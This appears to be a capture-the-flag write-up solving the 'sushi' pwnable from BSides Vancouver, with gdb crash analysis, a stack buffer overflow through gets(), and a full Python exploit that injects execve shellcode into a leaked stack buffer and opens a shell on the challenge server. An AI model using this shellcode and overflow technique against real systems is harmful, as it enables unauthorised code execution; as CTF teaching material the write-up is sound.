At the very last minute, we decided to join BSides Vancouvers’ CTF. Sushi was a 100 point pwnable.
We’re given the binary (and the libraries are available if need be – really nice, no guessing). Upon running it, it gives us some address and asks for money:
123
Deposit money for sushi here: 0x7ffc068ccfe0
aaaaaaaa
Sorry, $0.97 is not enough.
It seems to take the first character a (0x61 or 97) and use that. After fruitlessly trying to trigger a format string vulnerability, I disassembled the binary and checked out it in gdb-peda.
Okay, no protections whatsoever. This means that the stack is executable too. The idea of string format vulnerability was quickly replaced with a good old buffer overflow:
12345678910111213
bas@tritonal:~/tmp/yvrctf/sushi-100$ python -c 'print "".join(["%04d" % x for x in range(200)])'| ./sushi
Deposit money for sushi here: 0x7ffd0aa1edb0
Sorry, $0.48 is not enough.
Segmentation fault (core dumped)bas@tritonal:~/tmp/yvrctf/sushi-100$ gdb ./sushi core
...snip...
Core was generated by `./sushi'.
Program terminated with signal 11, Segmentation fault.
#0 0x00000000004005f2 in ?? ()gdb-peda$ x/i $rip=> 0x4005f2: ret
gdb-peda$ x/2wx $rsp0x7ffd0aa1edf8: 0x38313030 0x39313030
Upon supplying a large buffer, the program crashes. Apparently, the saved return address is overwritten with 00180019, so now I had the offset. The program crashes upon executing the ret statement at 0x4005f2 because the address does not point to a valid memory location.
12345678910111213
bas@tritonal:~/tmp/yvrctf/sushi-100$ python -c 'print "A"*(18*4)+"BBBBCCCC"'| ./sushi
Deposit money for sushi here: 0x7ffdcfd360b0
Sorry, $0.65 is not enough.
Segmentation fault (core dumped)bas@tritonal:~/tmp/yvrctf/sushi-100$ gdb ./sushi core
...snip...
Core was generated by `./sushi'.Program terminated with signal 11, Segmentation fault.#0 0x00000000004005f2 in ?? ()gdb-peda$ x/2wx $rsp0x7ffdcfd360f8: 0x42424242 0x43434343gdb-peda$ x/s 0x7ffdcfd360b00x7ffdcfd360b0: 'A' <repeats 72times>, "BBBBCCCC"
What’s more, each time upon running sushi, the program supplies the address of the buffer it is using! In other words, that’s a nice place for shellcode!
The program uses gets() to get the input:
1
0x4005c5: call 0x400480 <gets@plt>
This means that we can send null bytes, which we need to overwrite the saved return address with the address of our buffer. These things together (and the fact that the vulnerable binary is ran on a remote box) meant that it had to be run from a socat process:
fromsocketimport*importstruct,telnetlib,redefp(x):returnstruct.pack('<L',x)defpQ(x):returnstruct.pack('<Q',x)s=socket(AF_INET,SOCK_STREAM)#s.connect(('localhost', 4000))s.connect(('sushi.termsec.net',4000))buf=s.recv(1000)stack_addr=int(re.search('(0x[0-9a-f]+)',buf).group(1),16)print"[~] stack addr: 0x%lx"%stack_addr# simple x64 execve shellcodeshellcode="\x31\xc0\48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"# payload must overflow saved return address on stackpayload=shellcode+"A"*(72-len(shellcode))# we're given the address of our (executable!) buffer on the stack, so use that as return addresspayload+=pQ(stack_addr)+"\n"s.send(payload)t=telnetlib.Telnet()t.sock=st.interact()s.close()
It ran locally after a bit of fine-tuning, so the proof was in the pudding:
12345
bas@tritonal:~/tmp/yvrctf/sushi-100$ python ./sushi.py
[~] stack addr: 0x7fffb3fc0480
Sorry, $0.49 is not enough.
cat flag.txt
flag{I_l3ft_my_wallet_in_#irc}